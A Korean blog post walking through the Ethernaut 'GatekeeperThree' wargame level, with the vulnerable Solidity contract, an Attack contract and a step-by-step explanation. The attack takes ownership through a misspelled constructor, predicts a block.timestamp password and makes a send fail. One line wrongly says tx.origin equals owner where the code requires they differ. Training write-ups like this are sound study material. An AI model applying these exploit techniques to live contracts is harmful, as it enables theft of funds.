티스토리 뷰
1. 문제
Cope with gates and become an entrant.
Things that might help:
- Recall return values of low-level functions.
- Be attentive with semantic.
- Refresh how storage works in Ethereum.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SimpleTrick {
GatekeeperThree public target;
address public trick;
uint private password = block.timestamp;
constructor (address payable _target) {
target = GatekeeperThree(_target);
}
function checkPassword(uint _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}
function trickInit() public {
trick = address(this);
}
function trickyTrick() public {
if (address(this) == msg.sender && address(this) != trick) {
target.getAllowance(password);
}
}
}
contract GatekeeperThree {
address public owner;
address public entrant;
bool public allowEntrance;
SimpleTrick public trick;
function construct0r() public {
owner = msg.sender;
}
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}
modifier gateTwo() {
require(allowEntrance == true);
_;
}
modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}
function getAllowance(uint _password) public {
if (trick.checkPassword(_password)) {
allowEntrance = true;
}
}
function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}
function enter() public gateOne gateTwo gateThree {
entrant = tx.origin;
}
receive () external payable {}
}
2. 풀이
지금껏 풀어왔던 문제들의 총괄 편입니다. 다음 컨트랙트를 사용해 문지기를 뚫어보겠습니다.
contract Attack {
GatekeeperThree public gate;
constructor(address payable _gate) {
gate = GatekeeperThree(_gate);
}
function attack() external payable {
require(msg.value > 0.001 ether);
(bool ok, ) = address(gate).call{value: msg.value}(""); // send eth for gate three
require(ok);
gate.construct0r(); // owner = address(this) -> gate 1
gate.createTrick(); // create trick
gate.getAllowance(block.timestamp); // allowEntrance = true -> gate 2
gate.enter(); // pass gates
}
// should not receive ether from other to pass gate 3
// receive() external payable {}
}
GatekeeperThree 인스턴스의 주소를 인수로 사용하여 컨트랙트를 배포합니다.
attack 함수를 실행합니다. 이때 0.001 이더를 초과하는 양의 이더를 함께 보냅니다.
트랜잭션이 컨펌되고 나면 entrant 값이 자신의 주소로 변한 것을 확인할 수 있습니다.
인스턴스를 제출하고 마무리합니다.
3. 공격 과정 풀이
0. GatekeeperThree 컨트랙트의 상태 변수는 다음과 같이 선언되어 있습니다. 이 값들은 모두 zero value로 초기화되어 있습니다.
address public owner; // 0x00
address public entrant; // 0x00
bool public allowEntrance; // false
SimpleTrick public trick; // 0x00
1. attack 함수를 실행합니다.
function attack() external payable {
require(msg.value > 0.001 ether);
(bool ok, ) = address(gate).call{value: msg.value}(""); // send eth for gate three
require(ok);
gate.construct0r(); // owner = address(this) -> gate 1
gate.createTrick(); // create trick
gate.getAllowance(block.timestamp); // allowEntrance = true -> gate 2
gate.enter(); // pass gates
}
2. 메시지에 포함된 이더가 0.001을 초과하는지 확인하고 이를 GatekeeperThree 인스턴스에게 전송합니다. GatekeeperThree 컨트랙트에는 fallback 함수가 정의되어 있으므로 문제없이 이더를 받습니다.
require(msg.value > 0.001 ether);
(bool ok, ) = address(gate).call{value: msg.value}(""); // send eth for gate three
require(ok);
receive () external payable {}
3. GatekeeperThree 컨트랙트의 contruct0r 함수를 실행합니다. 이름과 에서 알 수 있다시피 생성자 함수로 사용하기 위해 선언하였지만, 철자를 틀리는 바람에 누구나 호출하여 owner가 될 수 있는 함수로 전락해 버렸습니다. 이제 GatekeeperThree 컨트랙트의 주인은 Attack 컨트랙트가 되었습니다.
gate.construct0r();
function construct0r() public {
owner = msg.sender;
}
4. GatekeeperThree 컨트랙트의 createTrick 함수를 호출하여 SimpleTrick 인스턴스를 생성합니다.
gate.createTrick();
function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}
function trickInit() public {
trick = address(this);
}
5. GatekeeperThree 컨트랙트의 getAllowance 함수를 호출합니다. 이때 인수로 block.timestamp를 넘겨줍니다.
gate.getAllowance(block.timestamp);
function getAllowance(uint _password) public {
if (trick.checkPassword(_password)) {
allowEntrance = true;
}
}
function checkPassword(uint _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}
block.timestamp를 _password로 사용하는 이유는 SimpleTrick 인스턴스가 생성될 때 password가 block.timestamp로 초기화되기 때문입니다. 인스턴스 생성과 getAllowance 함수 호출이 attack이라는 하나의 함수, 나아가 하나의 트랜잭션 그리고 하나의 블록에 포함되므로 결과적으로 _password와 password는 동일한 값으로, GatekeeperThree 인스턴스의 allowEntrance 값은 true로 변경됩니다.
contract SimpleTrick {
GatekeeperThree public target;
address public trick;
uint private password = block.timestamp;
...
}
6. 마지막으로 GatekeeperThree 컨트랙트의 enter 함수를 호출합니다.
gate.enter();
function enter() public gateOne gateTwo gateThree {
entrant = tx.origin;
}
먼저 첫 번째 관문에 멈춰 섭니다. 앞서 owner를 Attack 컨트랙트의 주소로 설정했기 때문에 msg.sender = owner가 성립합니다. 이어서 tx.origin은 사용자의 계정 주소고 owner는 컨트랙트 주소이므로 tx.origin = owner 또한 성립합니다. 이렇게 첫 번째 관문을 통과합니다.
modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}
두 번째 관문입니다. 앞서 SimpleTrick 인스턴스를 생성하고 비밀번호를 맞춰서 GatekeeperThree 인스턴스의 allowEntrance를 true로 설정해 놓았습니다. 두 번째 관문 또한 가볍게 통과합니다.
modifier gateTwo() {
require(allowEntrance == true);
_;
}
세 번째 관문입니다. attack 함수를 호출하는 초반부에서 Gatekeeper 인스턴스로 0.001을 초과하는 이더를 전송하여 인스턴스의 잔액을 늘려 놓았으므로 첫 번째 조건을 만족합니다. 두 번째 조건은 owner인 Attack 컨트랙트에게 0.001 이더를 전송하는 것이 실패해야 합니다. 이 경우는 Attack 컨트랙트에 fallback 함수가 정의되어 있지 않기 때문에 selfdestruct를 사용하여 강제로 잔액을 이동시키는 것이 아닌 이상 send나 transfer를 사용하여 이더를 전송하는 것은 불가능합니다. 따라서 두 번째 조건 또한 만족하여 세 번째 관문을 통과할 수 있습니다.
modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}
// receive() external payable {}
결과적으로 entrant 값은 tx.origin, 사용자의 계정 주소로 설정이 됩니다.
entrant = tx.origin;
'Solidity > Hacking' 카테고리의 다른 글
[Ethernaut] 18. MagicNumber (0) | 2024.02.15 |
---|---|
[Ethernaut] 29. Switch (0) | 2024.02.07 |
[Ethernaut] 27. Good Samaritan (1) | 2024.02.05 |
[Ethernaut] 23. Dex Two (0) | 2024.02.04 |
[Ethernaut] 22. Dex (0) | 2024.02.03 |